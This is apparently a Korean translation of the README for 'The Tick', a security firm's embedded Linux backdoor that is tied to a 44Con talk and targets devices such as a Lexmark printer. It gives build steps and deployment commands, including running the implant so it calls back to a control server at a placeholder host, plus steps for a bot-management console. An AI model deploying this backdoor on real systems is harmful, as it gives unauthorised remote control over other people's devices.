nccgroup/thetick간단한 임베디드 리눅스 백도어.
간단한 임베디드 Linux 백도어입니다.
The Tick은 libcurl에만 의존하므로 해당 개발 패키지가 설치되어 있는지 확인하세요. 예를 들어 Debian 계열 배포판에서는 다음과 같이 설치하면 됩니다:
sudo apt-get install libcurl-dev
의존성이 설치되면 makefile을 실행하기만 하면 됩니다:
cd src
make clean
make
"make" 명령이 완료되면 컴파일된 바이너리는 "bin" 폴더에서 찾을 수 있습니다. 이 바이너리가 대상 머신에서 원격으로 제어하기 위해 실행할 바이너리입니다.
지원되는 플랫폼을 대상으로 크로스 컴파일할 때 의존성 해결과 컴파일이 자동으로 수행됩니다. 현재 지원되는 유일한 크로스 컴파일 플랫폼은 Lexmark CX310DN 프린터이며, 추후 더 많은 기기가 추가될 예정입니다. 자세한 내용은 makefile을 참조하세요.
명령 및 제어 콘솔은 Python으로 작성되었으므로 컴파일할 필요가 없습니다.
백도어의 지속성 확보는 대상 플랫폼에 크게 의존하므로 여기서는 다루지 않습니다.
대상 머신에서 백도어 바이너리를 다음 인자와 함께 실행합니다:
./ticksvc ADDR PORT
"ADDR"과 "PORT"는 명령 및 콘솔이 수신 대기할 IP 주소와 포트로 교체해야 합니다. 기본 포트는 5555입니다.
명령 및 제어 콘솔은 설치가 필요 없지만 해결되지 않은 의존성이 있을 수 있습니다. 다음 명령을 실행하여 모든 의존성이 올바르게 설치되었는지 확인하세요 (sudo가 필요 없다는 점에 유의하세요):
pip install --upgrade -r requirements.txt
대부분의 Linux 데스크톱 환경에서는 다음 "Tick.desktop" 파일이 콘솔을 실행하기 위해 더블 클릭할 수 있는 아이콘을 생성합니다:
[Desktop Entry]
Encoding=UTF-8
Value=1.0
Type=Application
Name=The Tick
GenericName=The Tick
Comment=An embedded Linux backdoor
Icon=/opt/thetick/doc/logo.png
Exec=/opt/thetick/tick.py
Terminal=true
Path=/opt/thetick/
Tick.desktop 파일의 정확한 위치는 Linux 배포판마다 다를 수 있지만 일반적으로 데스크톱에 배치하면 작동합니다. The Tick을 다운로드한 경로(위 예시에서는 /opt/thetick)로 경로를 편집해야 합니다.
대상 플랫폼에서 백도어 바이너리를 실행하려면 제어 서버 호스트 이름과 포트를 명령줄 옵션으로 설정합니다. 예:
./ticksvc control.example-domain.com 5555
제어 서버에서는 GNU screen 인스턴스나 유사한 환경 내에서 콘솔을 실행하는 것이 좋습니다:
sudo apt-get install screen
screen -S thetick ./thetick.py
이렇게 하면 Control+A를 누른 다음 D를 눌러 콘솔에서 분리할 수 있습니다. 나중에 다음과 같이 콘솔로 돌아갈 수 있습니다:
screen -r thetick
콘솔은 새 봇이 연결되면 알려줍니다. "bots" 명령으로 현재 연결된 봇을 표시하고, "use" 명령으로 작업할 봇을 선택합니다. "help" 명령은 사용자 매뉴얼을 표시합니다.
콘솔이 할 수 있는 기능을 보여주는 몇 가지 스크린샷입니다:
The Tick은 Daniel Romero와 Mario Rivas의 다음 44Con 프레젠테이션에서 언급되었습니다: